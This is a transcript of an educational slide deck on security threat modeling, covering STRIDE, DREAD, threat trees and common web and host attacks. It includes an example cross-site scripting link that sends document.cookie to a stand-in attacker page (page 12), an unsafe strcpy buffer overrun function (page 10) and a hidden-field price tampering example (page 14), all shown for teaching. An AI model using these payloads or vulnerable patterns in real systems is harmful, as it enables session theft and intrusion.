security threat modeling

33
Security Threat Modeling Presented By, Nagaradhika.B

Upload: xantha-beck

Post on 02-Jan-2016

57 views

Category:

Documents


2 download

DESCRIPTION

Security Threat Modeling. Presented By, Nagaradhika.B. Session Agenda. Types of threats Threats against the application Buffer overrun Cross-site scripting Input tampering Session hijacking Identity Spoofing Information Disclosure Threat modeling Demo Conclusion. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Security Threat Modeling

Security Threat Modeling

Presented By,

Nagaradhika.B

Page 2: Security Threat Modeling

Session Agenda

Types of threats Threats against the application

Buffer overrun Cross-site scripting Input tampering Session hijacking Identity Spoofing Information Disclosure

Threat modeling Demo Conclusion

Page 3: Security Threat Modeling

Common Types of Attack

Connection Fails

OrganizationalAttacks

Restricted Data

Accidental Breachesin Security

AutomatedAttacks

Hackers

Viruses, Trojan Horses,

and Worms

Denial of Service (DoS)

DoS

Page 4: Security Threat Modeling

Types of Threats

Spoofed packets, etc.

Buffer overflows, illicit paths, etc.

SQL injection, XSS, input tampering, etc.

Network Host Application

Threats againstthe network

Threats against the host

Threats against the application

Page 5: Security Threat Modeling

Threats Against the Network

Threat ExamplesInformation gathering Port scanning

Using trace routing to detect network topologies

Using broadcast requests to enumerate subnet hosts

Eavesdropping Using packet sniffers to steal passwords

Denial of service (DoS)

SYN floods

ICMP echo request floods

Malformed packets

Spoofing Packets with spoofed source addresses

http://msdn.microsoft.com/library/en-us/dnnetsec/html/THCMCh15.asp?frame=true#c15618429_004

Page 6: Security Threat Modeling

Threats Against the Host

Threat ExamplesArbitrary code execution Buffer overflows in ISAPI DLLs (e.g., MS01-033)

Directory traversal attacks (MS00-078)

File disclosure Malformed HTR requests (MS01-031)

Virtualized UNC share vulnerability (MS00-019)

Denial of service (DoS) Malformed SMTP requests (MS02-012)

Malformed WebDAV requests (MS01-016)

Malformed URLs (MS01-012)

Brute-force file uploads

Unauthorized access Resources with insufficiently restrictive ACLs

Spoofing with stolen login credentials

Exploitation of open ports and protocols

Using NetBIOS and SMB to enumerate hosts

Connecting remotely to SQL Server

Page 7: Security Threat Modeling

Threats Against the Application

Threat ExamplesSQL injection Including a DROP TABLE command in text typed

into an input field

Cross-site scripting Using malicious client-side script to steal cookies

Hidden-field tampering

Maliciously changing the value of a hidden field

Eavesdropping Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections

Session hijacking Using a stolen session ID cookie to access someone else's session state

Identity spoofing Using a stolen forms authentication cookie to pose as another user

Information disclosure

Allowing client to see a stack trace when an unhandled exception occurs

Page 8: Security Threat Modeling

What Is a Buffer Overrun?

Occurs when data exceeds the expected size and overwrites other values

Exists primarily in unmanaged C/C++ code Includes four types:

Stack-based buffer overruns Heap overruns V-table and function pointer overwrites Exception handler overwrites

Can be exploited by worms

Page 9: Security Threat Modeling

Possible Results of Buffer Overruns

Possible Result Hacker’s Goal

Access violationTo perform denial of service attacks against servers

Instability To disrupt the normal operation of software

Code Injection

To gain privileges for their own codeTo exploit vital business dataTo perform destructive actions

Page 10: Security Threat Modeling

void UnSafe (const char* uncheckedData)

{

int anotherLocalVariable;

strcpy (localVariable, uncheckedData);

}

char localVariable[4];

Stack-Based Buffer Overrun Example

Top of Stack

char[4]

int

Return address

Page 11: Security Threat Modeling

Cross-Site Scripting (XSS)

Exploits applications that echo raw, unfiltered input to Web pages Input from <form> fields Input from query strings

The technique: Find a <form> field or query string parameter whose value is

echoed to the Web page Enter malicious script and get an unwary user to navigate to the

infected page

Steal cookies, deface and disable sites

Page 12: Security Threat Modeling

How Cross-Site Scripting Works

<a href="http://…/Search.aspx?Search=<script language='javascript'>document.location.replace('http://localhost/EvilPage.aspx?Cookie=‘ + document.cookie);</script>">…</a>

Query string contains embedded JavaScript that redirects to attacker’s page and transmits cookies issued by Search.aspx in a query string

URL of the site targeted by the attack

Page 13: Security Threat Modeling

Hidden-Field Tampering HTTP is a stateless protocol

No built-in way to persist data from one request to the next

People are stateful beingsWant data persisted between requestsShopping carts, user preferences, etc.

Web developers sometimes use hidden fields to persist data between requests

Hidden fields are not really hidden!

Page 14: Security Threat Modeling

How HF Tampering Works

<input type=“hidden” name="price" value="$10,000">

Page contains this…

Postback data should contain this…

price="$10,000"

Instead it contains this…

price="$1"

type="hidden" prevents the fieldfrom being seen on the page butnot in View Source

Page 15: Security Threat Modeling

Session Hijacking

Web applications use sessions to store state Sessions are private to individual users Sessions can be compromised

Threat Risk Factor

Theft and replay of session ID cookies High*

Links to sites that use cookieless session state Medium*

Predictable session IDs Low*

Remote connection to state server service Medium

Remote connection to state server database Medium

Eavesdropping on state server connection Medium

* Shorter session time-outs mitigate the risk by reducing the attack window

Page 16: Security Threat Modeling

Identity Spoofing

Threat Risk Factor

Theft of Windows authentication credentials High

Theft of forms authentication credentials High

Theft and replay of authentication cookies Medium*

Dictionary attacks and password guessing High

Security depends on authentication If authentication can be compromised, security goes out the window Authentication can be compromised

Page 17: Security Threat Modeling

Information Disclosure

Which is the better error message?

Page 18: Security Threat Modeling

Threat Modeling

Structured approach to identifying, quantifying, and addressing threats

Essential part of development process Just like specing and designing Just like coding and testing

One technique presented here There are others (e.g., OCTAVE)

Page 19: Security Threat Modeling

The Threat Modeling Process

Identify assetsIdentify assets

Document architectureDocument architecture

Decompose applicationDecompose application

Identify threatsIdentify threats

Document threatsDocument threats

Rate threatsRate threats

11

22

33

44

55

66

Page 20: Security Threat Modeling

Identifying Assets What is it that you want to protect?

Private data (e.g., customer list) Proprietary data (e.g., intellectual property) Potentially injurious data (e.g., credit card numbers, decryption

keys)

These also count as "assets" Integrity of back-end databases Integrity of the Web pages (no defacement) Integrity of other machines on the network Availability of the application

11

Page 21: Security Threat Modeling

Documenting Architecture

Define what the app does and how it's used Users view pages with catalog items Users perform searches for catalog items Users add items to shopping carts Users check out

Diagram the application Show subsystems Show data flow List assets

22

Page 22: Security Threat Modeling

Example

Bob

Alice

Bill

Asset #4

Asset #1 Asset #2 Asset #3

Asset #5 Asset #6

IIS ASP.NET

Web Server

Login

State

Main

Database Server

Firew

allF

irewall

Page 23: Security Threat Modeling

Decomposing the App

Refine the architecture diagram Show authentication mechanisms Show authorization mechanisms Show technologies (e.g., DPAPI) Diagram trust boundaries Identify entry points

Begin to think like an attacker Where are my vulnerabilities? What am I going to do about them?

33

Page 24: Security Threat Modeling

Example

Bob

Alice

BillIIS ASP.NET

Web Server Database ServerTrust

Forms Authentication URL Authorization

DPAPI Windows Authentication

Firew

allF

irewall

Login

State

Main

Page 25: Security Threat Modeling

Identifying Threats

Method #1: Threat lists Start with laundry list of possible threats Identify the threats that apply to your app

Method #2: STRIDE Categorized list of threat types Identify threats by type/category

Optionally draw threat trees Root nodes represent attacker's goals Trees help identify threat conditions

44

Page 26: Security Threat Modeling

STRIDE

SS

TT

RR

II

DD

Tampering

Repudiation

Information disclosure

Denial of service

Can an attacker gain access using a false identity?

Can an attacker modify data as it flows through the application?

If an attacker denies doing something, can we prove he did it?

Can an attacker gain access to private or potentially injurious data?

Can an attacker crash or reduce the availiability of the system?

EEElevation of privilegeCan an attacker assume the identity of a privileged user?

Spoofing

Page 27: Security Threat Modeling

Threat TreesTheft of

Auth Cookies

Theft ofAuth Cookies

Obtain auth cookie to spoof identity

Obtain auth cookie to spoof identity

UnencryptedConnection

UnencryptedConnection

Cookies travel over unencrypted HTTP

Cookies travel over unencrypted HTTP

EavesdroppingEavesdropping

Attacker uses sniffer to monitor HTTP traffic

Attacker uses sniffer to monitor HTTP traffic

Cross-SiteScripting

Cross-SiteScripting

Attacker possesses means and knowledge

Attacker possesses means and knowledge

XSSVulnerability

XSSVulnerability

Application is vulnerable to XSS attacks

Application is vulnerable to XSS attacks

OR

AND AND

Page 28: Security Threat Modeling

Documenting Threats

Theft of Auth Cookies by Eavesdropping on ConnectionThreat target Connections between browsers and Web server

Risk

Attack techniques Attacker uses sniffer to monitor traffic

Countermeasures Use SSL/TLS to encrypt traffic

Document threats using a template

Theft of Auth Cookies via Cross-Site ScriptingThreat target Vulnerable application code

Risk

Attack techniques Attacker sends e-mail with malicious link to users

Countermeasures Validate input; HTML-encode output

55

Page 29: Security Threat Modeling

Rating Threats Simple model

DREAD model Greater granularization of threat potential Rates (prioritizes) each threat on scale of 1-15 Developed and widely used by Microsoft

Risk = Probability * Damage Potential

1-10 Scale1 = Least probable10 = Most probable

1-10 Scale1 = Least probable10 = Most probable

1-10 Scale1 = Least damage10 = Most damage

1-10 Scale1 = Least damage10 = Most damage

66

Page 30: Security Threat Modeling

DREAD

DD

RR

EE

AA

DD

Reproducibility

Exploitability

Affected users

Discoverability

What are the consequences of a successful exploit?

Would an exploit work every time or only under certain circumstances?

How skilled must an attacker be to exploit the vulnerability?

How many users would be affected by a successful exploit?

How likely is it that an attacker will know the vulnerability exists?

Damage potential

Page 31: Security Threat Modeling

Example

Threat D R E A D Sum

Auth cookie theft (eavesdropping) 3 2 3 2 3 13

Auth cookie theft (XSS) 3 2 2 2 3 12

Potential for damage is high(spoofed identities, etc.)

Cookie can be stolen any time, but is only useful until expired

Anybody can run a packet sniffer; XSS attacks require moderate skill

All users could be affected, but in reality most won't click malicious links

Easy to discover: just type a <script> block into a field

PrioritizedRisks

PrioritizedRisks

Page 32: Security Threat Modeling

Summary

Without threat modelling, protecting yourself is like “shooting in the dark”

You need expertise in understanding most common attacks – read security bulletins

Developers must learn and use secure coding practices Learn some crypto too

Assume you are vulnerable, prove you are not

Page 33: Security Threat Modeling

References

http://msdn.microsoft.com/security/securecode/threatmodeling/default.aspx

http://sec.cs.kent.ac.uk/cms2004/Program/CMS2004final/p4a6.pdf

http://cpd.ogi.edu/seminars04/hickmanthreatmodeling.pdf

Reference for threat modeling tool: http://thesource.ofallevil.com/downloads/details.aspx?FamilyID=28a7e041-

8909-4084-8b05-06c3135e2a16&displaylang=en